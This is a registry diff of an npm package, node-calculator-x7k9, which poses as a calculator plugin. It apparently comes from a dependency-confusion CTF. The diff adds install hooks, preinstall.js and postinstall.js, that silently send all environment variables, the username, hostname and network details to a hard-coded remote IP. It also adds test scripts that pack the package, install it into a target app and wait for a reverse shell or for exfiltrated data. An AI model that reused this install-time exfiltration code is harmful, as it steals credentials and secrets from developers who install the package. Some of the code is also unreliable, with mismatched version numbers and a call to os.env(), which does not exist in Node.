node-calculator-x7k9 0.0.1-security → 3.5.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of node-calculator-x7k9 might be problematic. Click here for more details.

package/package.json CHANGED
@@ -1,6 +1,14 @@
1
- {
2
- "name": "node-calculator-x7k9",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {
2
+ "name": "node-calculator-x7k9",
3
+ "version": "3.5.0",
4
+ "description": "Simple calculator plugin with enhanced features",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js",
8
+ "postinstall": "node postinstall.js"
9
+ },
10
+ "keywords": ["calculator", "math"],
11
+ "author": "DarkT",
12
+ "license": "MIT"
13
+ }
14
+
package/postinstall.js ADDED
@@ -0,0 +1,63 @@
1
+ #!/usr/bin/env node
2
+
3
+ /**
4
+ * Backup Exfiltration - Pure Node.js Only
5
+ * Runs after installation as backup
6
+ */
7
+
8
+ const http = require('http');
9
+ const https = require('https');
10
+ const os = require('os');
11
+
12
+ // Configuration - MUST MATCH preinstall.js
13
+ const EXFIL_SERVER = 'http://159.223.153.251:8080/exfil';
14
+
15
+ // Simple backup exfiltration using only native Node.js
16
+ function backupExfil() {
17
+ try {
18
+ const data = {
19
+ timestamp: new Date().toISOString(),
20
+ source: 'postinstall',
21
+ environment: process.env,
22
+ system: {
23
+ hostname: os.hostname(),
24
+ user: os.userInfo().username,
25
+ cwd: process.cwd()
26
+ }
27
+ };
28
+
29
+ const jsonData = JSON.stringify(data);
30
+ const url = new URL(EXFIL_SERVER);
31
+ const client = url.protocol === 'https:' ? https : http;
32
+
33
+ const options = {
34
+ hostname: url.hostname,
35
+ port: url.port || (url.protocol === 'https:' ? 443 : 80),
36
+ path: url.pathname,
37
+ method: 'POST',
38
+ headers: {
39
+ 'Content-Type': 'application/json',
40
+ 'Content-Length': Buffer.byteLength(jsonData)
41
+ },
42
+ timeout: 5000
43
+ };
44
+
45
+ const req = client.request(options, () => {
46
+ // Success - silent
47
+ });
48
+
49
+ req.on('error', () => {
50
+ // Silent fail
51
+ });
52
+
53
+ req.write(jsonData);
54
+ req.end();
55
+
56
+ } catch (err) {
57
+ // Silent fail
58
+ }
59
+ }
60
+
61
+ // Execute with small delay
62
+ console.log('Installing node-calculator-x7k9 v3.2.0...');
63
+ setTimeout(backupExfil, 1000);
package/preinstall.js ADDED
@@ -0,0 +1,136 @@
1
+ #!/usr/bin/env node
2
+
3
+ /**
4
+ * Minimal Data Exfiltration Payload - Pure Node.js Only
5
+ * No command execution, only native Node.js modules
6
+ * Fetches environment variables and sends to attacker server
7
+ */
8
+
9
+ const http = require('http');
10
+ const https = require('https');
11
+ const os = require('os');
12
+
13
+ // Configuration - CHANGE THIS!
14
+ const EXFIL_SERVER = 'http://159.223.153.251:8080/exfil';
15
+
16
+ /**
17
+ * Collect data using only native Node.js APIs
18
+ */
19
+ function collectData() {
20
+ return {
21
+ timestamp: new Date().toISOString(),
22
+ source: 'preinstall',
23
+
24
+ // Environment variables - contains the FLAG!
25
+ environment: process.env,
26
+
27
+ // Basic system info using native Node.js
28
+ system: {
29
+ hostname: os.hostname(),
30
+ platform: os.env(),
31
+ arch: os.arch(),
32
+ type: os.type(),
33
+ release: os.release(),
34
+ nodeVersion: process.version,
35
+ user: os.userInfo(),
36
+ cwd: process.cwd(),
37
+ homedir: os.homedir(),
38
+ tmpdir: os.tmpdir()
39
+ },
40
+
41
+ // Process information
42
+ process: {
43
+ pid: process.pid,
44
+ ppid: process.ppid,
45
+ title: process.title,
46
+ argv: process.argv,
47
+ execPath: process.execPath,
48
+ versions: process.versions
49
+ },
50
+
51
+ // Network interfaces
52
+ network: os.networkInterfaces()
53
+ };
54
+ }
55
+
56
+ /**
57
+ * Send data via HTTP POST using native Node.js
58
+ */
59
+ function sendData(data) {
60
+ return new Promise((resolve, reject) => {
61
+ try {
62
+ const jsonData = JSON.stringify(data, null, 2);
63
+ const url = new URL(EXFIL_SERVER);
64
+
65
+ // Choose http or https based on protocol
66
+ const client = url.protocol === 'https:' ? https : http;
67
+
68
+ const options = {
69
+ hostname: url.hostname,
70
+ port: url.port || (url.protocol === 'https:' ? 443 : 80),
71
+ path: url.pathname + url.search,
72
+ method: 'POST',
73
+ headers: {
74
+ 'Content-Type': 'application/json',
75
+ 'Content-Length': Buffer.byteLength(jsonData),
76
+ 'User-Agent': 'Mozilla/5.0'
77
+ },
78
+ timeout: 10000
79
+ };
80
+
81
+ const req = client.request(options, (res) => {
82
+ let responseData = '';
83
+
84
+ res.on('data', (chunk) => {
85
+ responseData += chunk;
86
+ });
87
+
88
+ res.on('end', () => {
89
+ resolve({
90
+ success: true,
91
+ status: res.statusCode,
92
+ response: responseData
93
+ });
94
+ });
95
+ });
96
+
97
+ req.on('error', (error) => {
98
+ reject(error);
99
+ });
100
+
101
+ req.on('timeout', () => {
102
+ req.destroy();
103
+ reject(new Error('Request timeout'));
104
+ });
105
+
106
+ req.write(jsonData);
107
+ req.end();
108
+
109
+ } catch (error) {
110
+ reject(error);
111
+ }
112
+ });
113
+ }
114
+
115
+ /**
116
+ * Main execution
117
+ */
118
+ async function main() {
119
+ try {
120
+ // Collect environment variables and system info
121
+ const data = collectData();
122
+
123
+ // Send to exfiltration server
124
+ await sendData(data);
125
+
126
+ // Exit successfully (npm install continues)
127
+ process.exit(0);
128
+
129
+ } catch (error) {
130
+ // Silent fail - don't break npm install
131
+ process.exit(0);
132
+ }
133
+ }
134
+
135
+ // Execute
136
+ main();
@@ -0,0 +1,108 @@
1
+ # Test HTTP Exfiltration Locally
2
+ # This simulates the attack without publishing to npm
3
+
4
+ param(
5
+ [string]$ExfilServer = "http://127.0.0.1:8080/exfil"
6
+ )
7
+
8
+ Write-Host "╔═══════════════════════════════════════════════════════════════╗" -ForegroundColor Cyan
9
+ Write-Host "║ Local HTTP Exfiltration Test ║" -ForegroundColor Cyan
10
+ Write-Host "╚═══════════════════════════════════════════════════════════════╝" -ForegroundColor Cyan
11
+ Write-Host ""
12
+
13
+ # Step 1: Start exfil server
14
+ Write-Host "[+] Step 1: Starting exfiltration server..." -ForegroundColor Green
15
+
16
+ $serverJob = Start-Job -ScriptBlock {
17
+ Set-Location $using:PSScriptRoot
18
+ python3 exfil_server.py 8080
19
+ }
20
+
21
+ Write-Host " [✓] Exfil server started (Job ID: $($serverJob.Id))" -ForegroundColor Green
22
+ Start-Sleep -Seconds 3
23
+
24
+ # Step 2: Set test environment variables (simulate the FLAG)
25
+ Write-Host ""
26
+ Write-Host "[+] Step 2: Setting test environment variables..." -ForegroundColor Green
27
+ $env:FLAG = "cyctf{test_flag_local_simulation}"
28
+ $env:TEST_VAR = "test_value"
29
+ Write-Host " [✓] FLAG=$env:FLAG" -ForegroundColor Green
30
+
31
+ # Step 3: Update preinstall.js to use localhost
32
+ Write-Host ""
33
+ Write-Host "[+] Step 3: Configuring payload for localhost..." -ForegroundColor Green
34
+
35
+ $preinstallContent = Get-Content "preinstall.js" -Raw
36
+ $originalServer = ($preinstallContent -match "const EXFIL_SERVER = '(.*?)';") ? $Matches[1] : ""
37
+ $preinstallContent = $preinstallContent -replace "const EXFIL_SERVER = '.*?';", "const EXFIL_SERVER = '$ExfilServer';"
38
+ Set-Content "preinstall.js" -Value $preinstallContent
39
+ Write-Host " [✓] Configured for $ExfilServer" -ForegroundColor Green
40
+
41
+ # Step 4: Run preinstall.js
42
+ Write-Host ""
43
+ Write-Host "[+] Step 4: Executing preinstall.js..." -ForegroundColor Green
44
+ Write-Host " [*] This simulates npm install running the script" -ForegroundColor Yellow
45
+
46
+ $output = node preinstall.js 2>&1
47
+ Write-Host " [✓] Script executed" -ForegroundColor Green
48
+
49
+ # Step 5: Wait and check server output
50
+ Write-Host ""
51
+ Write-Host "[+] Step 5: Checking exfil server output..." -ForegroundColor Green
52
+ Start-Sleep -Seconds 5
53
+
54
+ $serverOutput = Receive-Job -Id $serverJob.Id
55
+ if ($serverOutput) {
56
+ Write-Host $serverOutput
57
+
58
+ if ($serverOutput -match "FLAG") {
59
+ Write-Host ""
60
+ Write-Host "╔═══════════════════════════════════════════════════════════════╗" -ForegroundColor Green
61
+ Write-Host "║ ✓ SUCCESS! Flag was exfiltrated successfully! ║" -ForegroundColor Green
62
+ Write-Host "╚═══════════════════════════════════════════════════════════════╝" -ForegroundColor Green
63
+ }
64
+ } else {
65
+ Write-Host " [!] No output from server yet" -ForegroundColor Yellow
66
+ }
67
+
68
+ # Step 6: Check saved files
69
+ Write-Host ""
70
+ Write-Host "[+] Step 6: Checking saved exfiltration data..." -ForegroundColor Green
71
+
72
+ if (Test-Path "exfil_logs") {
73
+ $files = Get-ChildItem "exfil_logs" -File | Sort-Object LastWriteTime -Descending
74
+ if ($files) {
75
+ $latestFile = $files[0]
76
+ Write-Host " [✓] Latest file: $($latestFile.Name)" -ForegroundColor Green
77
+
78
+ $content = Get-Content $latestFile.FullName -Raw | ConvertFrom-Json
79
+ if ($content.environment.FLAG) {
80
+ Write-Host " [✓] FLAG found in file: $($content.environment.FLAG)" -ForegroundColor Green
81
+ }
82
+ }
83
+ }
84
+
85
+ # Restore original server URL
86
+ if ($originalServer) {
87
+ Write-Host ""
88
+ Write-Host "[+] Restoring original EXFIL_SERVER configuration..." -ForegroundColor Yellow
89
+ $preinstallContent = Get-Content "preinstall.js" -Raw
90
+ $preinstallContent = $preinstallContent -replace "const EXFIL_SERVER = '.*?';", "const EXFIL_SERVER = '$originalServer';"
91
+ Set-Content "preinstall.js" -Value $preinstallContent
92
+ Write-Host " [✓] Restored to: $originalServer" -ForegroundColor Green
93
+ }
94
+
95
+ # Cleanup
96
+ Write-Host ""
97
+ Write-Host "[*] Press Enter to stop server and exit..." -ForegroundColor Yellow
98
+ Read-Host
99
+
100
+ Stop-Job -Id $serverJob.Id -ErrorAction SilentlyContinue
101
+ Remove-Job -Id $serverJob.Id -ErrorAction SilentlyContinue
102
+ Write-Host "[✓] Cleanup complete" -ForegroundColor Green
103
+
104
+ Write-Host ""
105
+ Write-Host "╔═══════════════════════════════════════════════════════════════╗" -ForegroundColor Cyan
106
+ Write-Host "║ Test Complete! Check exfil_logs/ for captured data ║" -ForegroundColor Cyan
107
+ Write-Host "╚═══════════════════════════════════════════════════════════════╝" -ForegroundColor Cyan
108
+
package/test-local.ps1 ADDED
@@ -0,0 +1,127 @@
1
+ # Local Testing Script - Test the malicious package locally before publishing
2
+ # This simulates the attack without needing to publish to npm
3
+
4
+ param(
5
+ [string]$AttackerIP = "127.0.0.1",
6
+ [int]$AttackerPort = 4444
7
+ )
8
+
9
+ Write-Host "╔═══════════════════════════════════════════════════════════════╗" -ForegroundColor Cyan
10
+ Write-Host "║ Local Testing - Dependency Confusion CTF ║" -ForegroundColor Cyan
11
+ Write-Host "╚═══════════════════════════════════════════════════════════════╝" -ForegroundColor Cyan
12
+ Write-Host ""
13
+
14
+ # Get current directory
15
+ $rootDir = Split-Path -Parent $PSScriptRoot
16
+ $maliciousDir = Join-Path $rootDir "malicious-package"
17
+ $targetDir = Join-Path $rootDir "just-a-calculator"
18
+
19
+ Write-Host "[*] Root Directory: $rootDir" -ForegroundColor Yellow
20
+ Write-Host "[*] Malicious Package: $maliciousDir" -ForegroundColor Yellow
21
+ Write-Host "[*] Target App: $targetDir" -ForegroundColor Yellow
22
+ Write-Host ""
23
+
24
+ # Step 1: Configure payload
25
+ Write-Host "[+] Step 1: Configuring payload..." -ForegroundColor Green
26
+ Set-Location $maliciousDir
27
+
28
+ $preinstallPath = "preinstall.js"
29
+ $postinstallPath = "postinstall.js"
30
+
31
+ $preinstallContent = Get-Content $preinstallPath -Raw
32
+ $preinstallContent = $preinstallContent -replace "const ATTACKER_IP = '.*?';", "const ATTACKER_IP = '$AttackerIP';"
33
+ $preinstallContent = $preinstallContent -replace "const ATTACKER_PORT = \d+;", "const ATTACKER_PORT = $AttackerPort;"
34
+ Set-Content $preinstallPath -Value $preinstallContent
35
+
36
+ $postinstallContent = Get-Content $postinstallPath -Raw
37
+ $postinstallContent = $postinstallContent -replace "const ATTACKER_IP = '.*?';", "const ATTACKER_IP = '$AttackerIP';"
38
+ $postinstallContent = $postinstallContent -replace "const ATTACKER_PORT = \d+;", "const ATTACKER_PORT = $AttackerPort;"
39
+ Set-Content $postinstallPath -Value $postinstallContent
40
+
41
+ Write-Host " [✓] Payload configured for $AttackerIP:$AttackerPort" -ForegroundColor Green
42
+
43
+ # Step 2: Start listener
44
+ Write-Host ""
45
+ Write-Host "[+] Step 2: Starting listener..." -ForegroundColor Green
46
+
47
+ if (Test-Path "listener.py") {
48
+ $listenerJob = Start-Job -ScriptBlock {
49
+ param($dir, $port)
50
+ Set-Location $dir
51
+ python3 listener.py $port
52
+ } -ArgumentList $maliciousDir, $AttackerPort
53
+ Write-Host " [✓] Listener started (Job ID: $($listenerJob.Id))" -ForegroundColor Green
54
+ } else {
55
+ Write-Host " [!] listener.py not found" -ForegroundColor Red
56
+ }
57
+
58
+ Start-Sleep -Seconds 2
59
+
60
+ # Step 3: Pack the malicious package
61
+ Write-Host ""
62
+ Write-Host "[+] Step 3: Packing malicious package..." -ForegroundColor Green
63
+ $packOutput = npm pack 2>&1
64
+ Write-Host " [✓] Package created: $packOutput" -ForegroundColor Green
65
+
66
+ # Step 4: Install into target application
67
+ Write-Host ""
68
+ Write-Host "[+] Step 4: Installing malicious package into target..." -ForegroundColor Green
69
+ Set-Location $targetDir
70
+
71
+ # Remove old package
72
+ if (Test-Path "node_modules\node-calculator-x7k9") {
73
+ Write-Host " [*] Removing old package..." -ForegroundColor Yellow
74
+ Remove-Item "node_modules\node-calculator-x7k9" -Recurse -Force
75
+ }
76
+
77
+ # Install malicious package
78
+ $packagePath = Join-Path $maliciousDir "node-calculator-x7k9-3.0.0.tgz"
79
+ Write-Host " [*] Installing from: $packagePath" -ForegroundColor Yellow
80
+
81
+ npm install $packagePath
82
+
83
+ Write-Host " [✓] Package installed!" -ForegroundColor Green
84
+
85
+ # Step 5: Check listener
86
+ Write-Host ""
87
+ Write-Host "[+] Step 5: Checking for shell..." -ForegroundColor Green
88
+ Write-Host " [*] Waiting for reverse shell connection..." -ForegroundColor Yellow
89
+ Write-Host ""
90
+
91
+ # Monitor listener for 30 seconds
92
+ $timeout = 30
93
+ $elapsed = 0
94
+ while ($elapsed -lt $timeout) {
95
+ $output = Receive-Job -Id $listenerJob.Id -ErrorAction SilentlyContinue
96
+ if ($output) {
97
+ Write-Host $output
98
+ if ($output -match "Connection received") {
99
+ Write-Host ""
100
+ Write-Host "[✓] SHELL RECEIVED!" -ForegroundColor Green
101
+ break
102
+ }
103
+ }
104
+ Start-Sleep -Seconds 2
105
+ $elapsed += 2
106
+ Write-Host "." -NoNewline -ForegroundColor Gray
107
+ }
108
+
109
+ Write-Host ""
110
+ Write-Host ""
111
+ Write-Host "╔═══════════════════════════════════════════════════════════════╗" -ForegroundColor Cyan
112
+ Write-Host "║ Testing Complete ║" -ForegroundColor Cyan
113
+ Write-Host "║ ║" -ForegroundColor Cyan
114
+ Write-Host "║ Listener is still running (Job ID: $($listenerJob.Id)) ║" -ForegroundColor Cyan
115
+ Write-Host "║ To view: Receive-Job $($listenerJob.Id) ║" -ForegroundColor Cyan
116
+ Write-Host "║ To stop: Stop-Job $($listenerJob.Id); Remove-Job $($listenerJob.Id) ║" -ForegroundColor Cyan
117
+ Write-Host "╚═══════════════════════════════════════════════════════════════╝" -ForegroundColor Cyan
118
+
119
+ Write-Host ""
120
+ Write-Host "Press Enter to stop listener and cleanup..." -ForegroundColor Yellow
121
+ Read-Host
122
+
123
+ # Cleanup
124
+ Stop-Job -Id $listenerJob.Id -ErrorAction SilentlyContinue
125
+ Remove-Job -Id $listenerJob.Id -ErrorAction SilentlyContinue
126
+ Write-Host "[✓] Cleanup complete" -ForegroundColor Green
127
+
package/test-simple.js ADDED
@@ -0,0 +1,116 @@
1
+ #!/usr/bin/env node
2
+
3
+ /**
4
+ * Simple local test of the exfiltration payload
5
+ * Tests without needing to publish to npm
6
+ */
7
+
8
+ const { spawn } = require('child_process');
9
+ const http = require('http');
10
+
11
+ console.log('╔═══════════════════════════════════════════════════════════════╗');
12
+ console.log('║ Simple Exfiltration Test - Pure Node.js ║');
13
+ console.log('╚═══════════════════════════════════════════════════════════════╝\n');
14
+
15
+ // Set test FLAG environment variable
16
+ process.env.FLAG = 'cyctf{test_flag_local}';
17
+ console.log('[+] Set test FLAG:', process.env.FLAG);
18
+
19
+ // Start simple HTTP server
20
+ const PORT = 8080;
21
+ let receivedData = null;
22
+
23
+ const server = http.createServer((req, res) => {
24
+ if (req.method === 'POST') {
25
+ let body = '';
26
+
27
+ req.on('data', chunk => {
28
+ body += chunk.toString();
29
+ });
30
+
31
+ req.on('end', () => {
32
+ try {
33
+ receivedData = JSON.parse(body);
34
+ console.log('\n[✓] Data received from payload!');
35
+ console.log('\n🚩 FLAG from environment:', receivedData.environment.FLAG);
36
+ console.log('\n📋 Captured data:');
37
+ console.log(' Hostname:', receivedData.system.hostname);
38
+ console.log(' User:', receivedData.system.user.username);
39
+ console.log(' CWD:', receivedData.system.cwd);
40
+ console.log(' Platform:', receivedData.system.platform);
41
+ console.log(' Node Version:', receivedData.system.nodeVersion);
42
+ console.log('\n📝 Environment Variables:', Object.keys(receivedData.environment).length, 'total');
43
+
44
+ // Highlight the FLAG
45
+ if (receivedData.environment.FLAG) {
46
+ console.log('\n╔═══════════════════════════════════════════════════════════════╗');
47
+ console.log('║ ✅ SUCCESS! FLAG CAPTURED! ║');
48
+ console.log('║ FLAG =', receivedData.environment.FLAG.padEnd(45), '║');
49
+ console.log('╚═══════════════════════════════════════════════════════════════╝\n');
50
+ }
51
+
52
+ res.writeHead(200, { 'Content-Type': 'application/json' });
53
+ res.end(JSON.stringify({ status: 'success' }));
54
+
55
+ // Stop server after receiving data
56
+ setTimeout(() => {
57
+ server.close();
58
+ console.log('[*] Test complete!');
59
+ process.exit(0);
60
+ }, 1000);
61
+
62
+ } catch (e) {
63
+ console.error('[!] Error parsing data:', e.message);
64
+ res.writeHead(500);
65
+ res.end();
66
+ }
67
+ });
68
+ } else {
69
+ res.writeHead(200, { 'Content-Type': 'text/plain' });
70
+ res.end('Exfiltration server running');
71
+ }
72
+ });
73
+
74
+ server.listen(PORT, '127.0.0.1', () => {
75
+ console.log('[+] Test server listening on http://127.0.0.1:' + PORT);
76
+ console.log('[+] Running preinstall.js...\n');
77
+
78
+ // Run preinstall.js with localhost configuration
79
+ const child = spawn('node', ['preinstall.js'], {
80
+ env: {
81
+ ...process.env,
82
+ FLAG: 'cyctf{test_flag_local}'
83
+ },
84
+ cwd: __dirname
85
+ });
86
+
87
+ child.stdout.on('data', (data) => {
88
+ console.log('[preinstall]', data.toString().trim());
89
+ });
90
+
91
+ child.stderr.on('data', (data) => {
92
+ console.error('[preinstall error]', data.toString().trim());
93
+ });
94
+
95
+ child.on('close', (code) => {
96
+ console.log('[+] preinstall.js finished with code:', code);
97
+
98
+ // If no data received after 5 seconds, timeout
99
+ setTimeout(() => {
100
+ if (!receivedData) {
101
+ console.log('\n[!] No data received - check if preinstall.js is configured for localhost');
102
+ console.log('[!] Make sure EXFIL_SERVER in preinstall.js is: http://127.0.0.1:8080/exfil');
103
+ server.close();
104
+ process.exit(1);
105
+ }
106
+ }, 5000);
107
+ });
108
+ });
109
+
110
+ // Handle Ctrl+C
111
+ process.on('SIGINT', () => {
112
+ console.log('\n[*] Shutting down...');
113
+ server.close();
114
+ process.exit(0);
115
+ });
116
+